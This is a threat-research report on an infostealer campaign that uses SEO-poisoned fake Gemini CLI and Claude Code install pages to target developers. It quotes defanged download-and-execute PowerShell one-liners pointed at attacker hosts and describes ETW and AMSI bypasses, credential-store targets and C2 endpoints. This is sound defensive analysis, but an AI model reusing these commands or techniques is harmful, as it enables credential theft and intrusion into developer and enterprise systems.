EclecticIQ Threat Research published an analysis on 2026-05-21 of an ongoing infostealer campaign first observed in early March 2026 that targets enterprise developer workstations by impersonating AI coding assistants and developer tooling. The campaign was originally surfaced by independent researcher @g0njxa, who flagged a Windows malware deployment impersonating Google's Gemini CLI. EclecticIQ analysts subsequently pivoted on passive DNS and infrastructure overlaps to map a wider cluster of more than 30 typosquatted domains operated by what they assess with medium-to-high confidence is a single financially motivated threat actor.

Initial Access: The infection chain begins with a Google search by a developer looking for the official Gemini CLI or Claude Code installation page. The operator uses search-engine optimization poisoning (MITRE T1608.006) to promote a fake domain such as geminicli[.]co[.]com or claudecode[.]co[.]com above the legitimate vendor result. The fake page is a visually faithful clone of the genuine installation guide and prompts the visitor to paste a single PowerShell one-liner into a terminal. This 'paste-and-execute' (ClickFix-adjacent) lure is tuned to the workflow developers and IT administrators already use when installing CLI tooling from package-manager pages.

First-stage downloader: The PowerShell embedded on the fake page performs two simultaneous actions. (1) It instantiates a Shell.Application COM object and calls ShellExecute with window style 0 to spawn a hidden PowerShell window, which runs 'irm events[.]msft23[.]com | iex' (Invoke-RestMethod piped to Invoke-Expression) to fetch and execute the second-stage payload entirely in memory. (2) In parallel the same script invokes 'npm install -g @google/gemini-cli', which installs the real Gemini CLI from the official Google npm registry so the victim sees a successful, legitimate install in their terminal. The benign install is the visible decoy while the in-memory stealer runs to completion.

Second-stage infostealer: Once executed in memory, the second stage immediately patches PSEtwLogProvider.m_enabled to disable PowerShell ETW telemetry (T1562.006) and performs an in-process AMSI bypass (T1562.001), eliminating the two primary Windows host-based telemetry pipelines for script content. The payload is heavily obfuscated with roughly 6,800 lines of junk-branch code and includes a 'qemu-ga' string check as an anti-sandbox gate (T1497.001). The script then loads three embedded C# helper types at runtime via Add-Type: CredHelper (P/Invokes advapi32!CredEnumerate against Windows Credential Manager), User32 (calls EnumDisplaySettings to fingerprint display and detect VMs), and Rstrtmgr (uses the Restart Manager API in rstrtmgr.dll to enumerate processes without calling the monitored Get-Process cmdlet).

Collection scope: The stealer iterates browser profiles for Chrome, Edge, Brave, and Firefox, extracting login credentials, session cookies, autofill, and form history. It targets enterprise collaboration platforms (Slack Local State key and Network cookies, Microsoft Teams EBWebView DPAPI-protected cookies, Discord Local Storage LevelDB plus Local State, Mattermost cookies, Telegram Desktop tdata, Zoom DPAPI-protected win_osencrypt_key, LiveChat, Notion, Zoho Mail Desktop, Evernote). It dumps remote-access secrets (WinSCP saved sessions from HKCU:\SOFTWARE\Martin Prikryl\WinSCP 2\, PuTTY sessions from HKCU:\Software\SimonTatham\PuTTY\Sessions, OpenVPN configs and DPAPI-protected GUI login data), cryptocurrency wallets (Brave Wallet, Spectre), Steam installation data, and enumerates cloud-synced directories (Proton Drive, iCloud Drive, Google Drive, MEGA, OneDrive). It also recursively lists .txt and .docx files under Desktop, Documents, and Downloads, captures the desktop wallpaper via TranscodedWallpaper, and pulls OS version, installed software, network adapter configuration, and running process inventory via WMI and the Restart Manager API.

Command-and-Control: The implant beacons over HTTPS to events.msft23[.]com (Gemini lure) and events.ms709[.]com (Claude / Node.js / Chocolatey lures) on three endpoints: /take (initial configuration / staging), /process (the main beacon that uploads exfiltrated data and receives an RSA-encrypted task list in the same response), and /validate (task-execution status report). The implant decrypts the task list, matches each record's target ID against the local MachineGuid-derived victim ID, and runs the operator-supplied URL via 'powershell.exe -command IEX(Invoke-WebRequest -UseBasicParsing <url>)' through Shell.Application.ShellExecute. A secondary path uses named pipes to spawn a child PowerShell process and stream its output back. There is no on-disk persistence in the analyzed sample; the malware operates fully in memory.

Infrastructure: EclecticIQ pivoted from claude-code[.]co[.]com (resolved to 109.107.170[.]111 at Netherlands-based bulletproof hosting provider MIRhosting) and uncovered a cluster of 30+ typosquatted domains targeting AI coding tools, Node.js, Chocolatey, KeePassXC, and Monero, registered primarily between late March and early April 2026. The cluster favors .co.com, .us.com, .us.org, and .co.uk TLDs, with C2 hostnames following an 'events.<microsoft-evoking-root>.com' or 'metrics.<root>.com' template (events.msft23.com, events.ms709.com, metrics.msft17.com). One Node.js lure (nodejs-setup[.]co[.]com) chains two spoofed domains by instructing victims to run 'irm https://community.chocolatey[.]net/install.ps1 | iex', impersonating both Node.js and Chocolatey in a single workflow-faithful sequence. The threat actor reuses a single tooling template across lures, rotating only the brand and the C2 hostname.

Attribution and motivation: EclecticIQ assesses with high confidence that the campaign is operated by a single financially motivated eCrime actor. The targeting choice (developer-focused tooling) and the implant's session-cookie and OAuth-token focus align with the broader access-broker market, where session material from Slack, Teams, GitHub, and corporate VPN tooling commands premium prices because it bypasses MFA. The campaign is geographically tilted toward United States and United Kingdom users based on TLD selection.

Impact for defenders: A single compromised developer workstation yields OAuth tokens for GitHub / GitLab / cloud SaaS, CI/CD credentials, corporate VPN configurations including DPAPI-protected secrets, session cookies for collaboration platforms that bypass MFA, and SSH keys for production infrastructure. Combined with the implant's RCE capability, this provides a direct path to hands-on-keyboard intrusions, lateral movement into the wider enterprise, and supply-chain compromise via the developer's source-control and pipeline access.